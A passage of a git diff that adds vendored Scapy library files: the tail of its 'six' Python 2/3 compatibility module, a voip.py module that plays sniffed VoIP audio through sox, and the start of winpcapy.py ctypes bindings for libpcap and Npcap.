old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import scapy.modules.six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), # noqa: E501 + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getstatusoutput", "commands", "subprocess"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), # noqa: E501 + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), # noqa: E501 + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), # noqa: E501 + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), # noqa: E501 + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), # noqa: E501 + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), # noqa: E501 + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), # noqa: E501 + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), # noqa: E501 + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), # noqa: E501 + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in scapy.modules.six.urllib_parse""" + + +_urllib_parse_moved_attributes = [ + MovedAttribute("ParseResult", "urlparse", "urllib.parse"), + MovedAttribute("SplitResult", "urlparse", "urllib.parse"), + MovedAttribute("parse_qs", "urlparse", "urllib.parse"), + MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), + MovedAttribute("urldefrag", "urlparse", "urllib.parse"), + MovedAttribute("urljoin", "urlparse", "urllib.parse"), + MovedAttribute("urlparse", "urlparse", "urllib.parse"), + MovedAttribute("urlsplit", "urlparse", "urllib.parse"), + MovedAttribute("urlunparse", "urlparse", "urllib.parse"), + MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), + MovedAttribute("quote", "urllib", "urllib.parse"), + MovedAttribute("quote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote", "urllib", "urllib.parse"), + MovedAttribute("unquote_plus", "urllib", "urllib.parse"), + MovedAttribute("unquote_to_bytes", "urllib", "urllib.parse", "unquote", "unquote_to_bytes"), # noqa: E501 + MovedAttribute("urlencode", "urllib", "urllib.parse"), + MovedAttribute("splitquery", "urllib", "urllib.parse"), + MovedAttribute("splittag", "urllib", "urllib.parse"), + MovedAttribute("splituser", "urllib", "urllib.parse"), + MovedAttribute("splitvalue", "urllib", "urllib.parse"), + MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), + MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), + MovedAttribute("uses_params", "urlparse", "urllib.parse"), + MovedAttribute("uses_query", "urlparse", "urllib.parse"), + MovedAttribute("uses_relative", "urlparse", "urllib.parse"), +] +for attr in _urllib_parse_moved_attributes: + setattr(Module_six_moves_urllib_parse, attr.name, attr) +del attr + +Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes # noqa: E501 + +_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), # noqa: E501 + "moves.urllib_parse", "moves.urllib.parse") + + +class Module_six_moves_urllib_error(_LazyModule): + + """Lazy loading of moved objects in scapy.modules.six.urllib_error""" + + +_urllib_error_moved_attributes = [ + MovedAttribute("URLError", "urllib2", "urllib.error"), + MovedAttribute("HTTPError", "urllib2", "urllib.error"), + MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), +] +for attr in _urllib_error_moved_attributes: + setattr(Module_six_moves_urllib_error, attr.name, attr) +del attr + +Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes # noqa: E501 + +_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), # noqa: E501 + "moves.urllib_error", "moves.urllib.error") + + +class Module_six_moves_urllib_request(_LazyModule): + + """Lazy loading of moved objects in scapy.modules.six.urllib_request""" + + +_urllib_request_moved_attributes = [ + MovedAttribute("urlopen", "urllib2", "urllib.request"), + MovedAttribute("install_opener", "urllib2", "urllib.request"), + MovedAttribute("build_opener", "urllib2", "urllib.request"), + MovedAttribute("pathname2url", "urllib", "urllib.request"), + MovedAttribute("url2pathname", "urllib", "urllib.request"), + MovedAttribute("getproxies", "urllib", "urllib.request"), + MovedAttribute("Request", "urllib2", "urllib.request"), + MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), + MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), + MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), + MovedAttribute("BaseHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), + MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), # noqa: E501 + MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), + MovedAttribute("FileHandler", "urllib2", "urllib.request"), + MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), +] +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes # noqa: E501 + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), # noqa: E501 + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in scapy.modules.six.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes # noqa: E501 + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), # noqa: E501 + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in scapy.modules.six.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes # noqa: E501 + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), # noqa: E501 + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a scapy.modules.six.urllib namespace that resembles the Python 3 namespace""" # noqa: E501 + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to scapy.modules.six.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from scapy.modules.six.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] == (3, 2): + exec_("""def raise_from(value, from_value): + try: + if from_value is None: + raise value + raise value from from_value + finally: + value = None +""") +elif sys.version_info[:2] > (3, 2): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + def wrapper(f): + f = functools.wraps(wrapped, assigned, updated)(f) + f.__wrapped__ = wrapped + return f + return wrapper +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(meta): + + def __new__(cls, name, this_bases, d): + return meta(name, bases, d) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def python_2_unicode_compatible(klass): + """ + A decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might # noqa: E501 + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) diff --git a/libs/scapy/modules/voip.py b/libs/scapy/modules/voip.py new file mode 100755 index 0000000..575b485 --- /dev/null +++ b/libs/scapy/modules/voip.py @@ -0,0 +1,176 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +VoIP (Voice over IP) related functions +""" + +from __future__ import absolute_import +import subprocess +################### +# Listen VoIP # +################### + +from scapy.sendrecv import sniff +from scapy.layers.inet import IP, UDP +from scapy.layers.rtp import RTP +from scapy.consts import WINDOWS +from scapy.config import conf +from scapy.modules.six.moves import range + + +sox_base = (["sox", "-t", ".ul"], ["-", "-t", "ossdsp", "/dev/dsp"]) + +if WINDOWS: + if conf.prog.sox is None: + raise OSError("Sox must be installed to play VoIP packets") + sox_base = ([conf.prog.sox, "-t", ".ul"], ["-", "-t", "waveaudio"]) + + +def _merge_sound_bytes(x, y, sample_size=2): + # TODO: find a better way to merge sound bytes + # This will only add them one next to each other: + # \xff + \xff ==> \xff\xff + m = "" + ss = sample_size + min_ = 0 + if len(x) >= len(y): + min_ = y + elif len(x) < len(y): + min_ = x + r_ = len(min_) + for i in range(r_ / ss): + m += x[ss * i:ss * (i + 1)] + y[ss * i:ss * (i + 1)] + return x[r_:], y[r_:], m + + +def voip_play(s1, lst=None, **kargs): + """Play VoIP packets with RAW data that + are either sniffed either from an IP, or + specified as a list. + + It will play only the incoming packets ! + + :param s1: The IP of the src of all VoIP packets. + :param lst: (optional) A list of packets to load + :type s1: string + :type lst: list + + :Example: + + >>> voip_play("64.2.142.189") + while calling '411@ideasip.com' + + >>> voip_play("64.2.142.189", lst) + with list a list of packets with VoIP data + in their RAW layer + + .. seealso:: voip_play2 + to play both the outcoming and incoming packets + at the same time. + + .. seealso:: voip_play3 + to read RTP VoIP packets + """ + + proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, + stdout=subprocess.PIPE) + dsp, rd = proc.stdin, proc.stdout + + def play(pkt): + if not pkt: + return + if not pkt.haslayer(UDP) or not pkt.haslayer(IP): + return + ip = pkt.getlayer(IP) + if s1 == ip.src: + dsp.write(pkt.getlayer(conf.raw_layer).load[12:]) + try: + if lst is None: + sniff(store=0, prn=play, **kargs) + else: + for p in lst: + play(p) + finally: + dsp.close() + rd.close() + + +def voip_play1(s1, lst=None, **kargs): + """Same than voip_play, backward compatibility + """ + return voip_play(s1, lst, **kargs) + + +def voip_play2(s1, **kargs): + """ + Same than voip_play, but will play + both incoming and outcoming packets. + The sound will surely suffer distortion. + + Only supports sniffing. + + .. seealso:: voip_play + to play only incoming packets. + """ + proc = subprocess.Popen(sox_base[0] + ["-c", "2"] + sox_base[1], + stdin=subprocess.PIPE, stdout=subprocess.PIPE) + dsp, rd = proc.stdin, proc.stdout + global x1, x2 + x1 = "" + x2 = "" + + def play(pkt): + global x1, x2 + if not pkt: + return + if not pkt.haslayer(UDP) or not pkt.haslayer(IP): + return + ip = pkt.getlayer(IP) + if s1 in [ip.src, ip.dst]: + if ip.dst == s1: + x1 += pkt.getlayer(conf.raw_layer).load[12:] + else: + x2 += pkt.getlayer(conf.raw_layer).load[12:] + x1, x2, r = _merge_sound_bytes(x1, x2) + dsp.write(r) + + try: + sniff(store=0, prn=play, **kargs) + finally: + try: + dsp.close() + rd.close() + except Exception: + pass + + +def voip_play3(lst=None, **kargs): + """Same than voip_play, but made to + read and play VoIP RTP packets, without + checking IP. + + .. seealso:: voip_play + for basic VoIP packets + """ + proc = subprocess.Popen(sox_base[0] + sox_base[1], stdin=subprocess.PIPE, + stdout=subprocess.PIPE) + dsp, rd = proc.stdin, proc.stdout + + def play(pkt, dsp=dsp): + if pkt and pkt.haslayer(UDP) and pkt.haslayer(RTP): + dsp.write(pkt.getlayer(RTP).load) + try: + if lst is None: + sniff(store=0, prn=play, **kargs) + else: + for p in lst: + play(p) + finally: + try: + dsp.close() + rd.close() + except Exception: + pass diff --git a/libs/scapy/modules/winpcapy.py b/libs/scapy/modules/winpcapy.py new file mode 100755 index 0000000..4a3513e --- /dev/null +++ b/libs/scapy/modules/winpcapy.py @@ -0,0 +1,789 @@ +# Original license +#------------------------------------------------------------------------------- # noqa: E501 +# Name: winpcapy.py +# +# Author: Massimo Ciani +# +# Created: 01/09/2009 +# Copyright: (c) Massimo Ciani 2009 +# +#------------------------------------------------------------------------------- # noqa: E501 +# Modified for scapy's usage - Mainly to support Npcap/Monitor mode + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# This program is published under a GPLv2 license + +from ctypes import * +from ctypes.util import find_library +import sys, os +from scapy.consts import WINDOWS + +HAVE_REMOTE = False + +if WINDOWS: + # Try to load Npcap, or Winpcap + HAVE_REMOTE=True + SOCKET = c_uint + npcap_folder = os.environ["WINDIR"] + "\\System32\\Npcap" + if os.path.exists(npcap_folder): + # Try to load npcap + os.environ['PATH'] = npcap_folder + ";" + os.environ['PATH'] + # Set DLL directory priority + windll.kernel32.SetDllDirectoryW(npcap_folder) + # Packet.dll is unused, but needs to overwrite the winpcap one if it exists # noqa: E501 + cdll.LoadLibrary(npcap_folder + "\\Packet.dll") + _lib = cdll.LoadLibrary(npcap_folder + "\\wpcap.dll") + else: + _lib=CDLL("wpcap.dll") + del npcap_folder +else: + # Try to load libpcap + SOCKET = c_int + _lib_name = find_library("pcap") + if not _lib_name: + raise OSError("Cannot fine libpcap.so library") + _lib=CDLL(_lib_name) + + +## +## misc +## +u_short = c_ushort +bpf_int32 = c_int +u_int = c_int +bpf_u_int32 = u_int +pcap = c_void_p +pcap_dumper = c_void_p +u_char = c_ubyte +FILE = c_void_p +STRING = c_char_p + +class bpf_insn(Structure): + _fields_=[("code",c_ushort), + ("jt",c_ubyte), + ("jf",c_ubyte), + ("k",bpf_u_int32)] + +class bpf_program(Structure): + pass +bpf_program._fields_ = [('bf_len', u_int), + ('bf_insns', POINTER(bpf_insn))] + +class bpf_version(Structure): + _fields_=[("bv_major",c_ushort), + ("bv_minor",c_ushort)] + + +class timeval(Structure): + pass +timeval._fields_ = [('tv_sec', c_long), + ('tv_usec', c_long)] + +## sockaddr is used by pcap_addr. +## For example if sa_family==socket.AF_INET then we need cast +## with sockaddr_in +if WINDOWS: + class sockaddr(Structure): + _fields_ = [("sa_family", c_ushort), + ("sa_data", c_ubyte * 14)] + + class sockaddr_in(Structure): + _fields_ = [("sin_family", c_ushort), + ("sin_port", c_uint16), + ("sin_addr", 4 * c_ubyte)] + + class sockaddr_in6(Structure): + _fields_ = [("sin6_family", c_ushort), + ("sin6_port", c_uint16), + ("sin6_flowinfo", c_uint32), + ("sin6_addr", 16 * c_ubyte), + ("sin6_scope", c_uint32)] +else: + class sockaddr(Structure): + _fields_ = [("sa_len", c_ubyte), + ("sa_family",c_ubyte), + ("sa_data",c_ubyte * 14)] + + class sockaddr_in(Structure): + _fields_ = [("sin_len", c_ubyte), + ("sin_family", c_ubyte), + ("sin_port", c_uint16), + ("sin_addr", 4 * c_ubyte), + ("sin_zero", 8 * c_char)] + + class sockaddr_in6(Structure): + _fields_ = [("sin6_len", c_ubyte), + ("sin6_family", c_ubyte), + ("sin6_port", c_uint16), + ("sin6_flowinfo", c_uint32), + ("sin6_addr", 16 * c_ubyte), + ("sin6_scope", c_uint32)] + + class sockaddr_dl(Structure): + _fields_ = [("sdl_len", c_ubyte), + ("sdl_family", c_ubyte), + ("sdl_index", c_ushort), + ("sdl_type", c_ubyte), + ("sdl_nlen", c_ubyte), + ("sdl_alen", c_ubyte), + ("sdl_slen", c_ubyte), + ("sdl_data", 46 * c_ubyte)] +## +## END misc +## + +## +## Data Structures +## + +## struct pcap_file_header +## Header of a libpcap dump file. +class pcap_file_header(Structure): + _fields_ = [('magic', bpf_u_int32), + ('version_major', u_short), + ('version_minor', u_short), + ('thiszone', 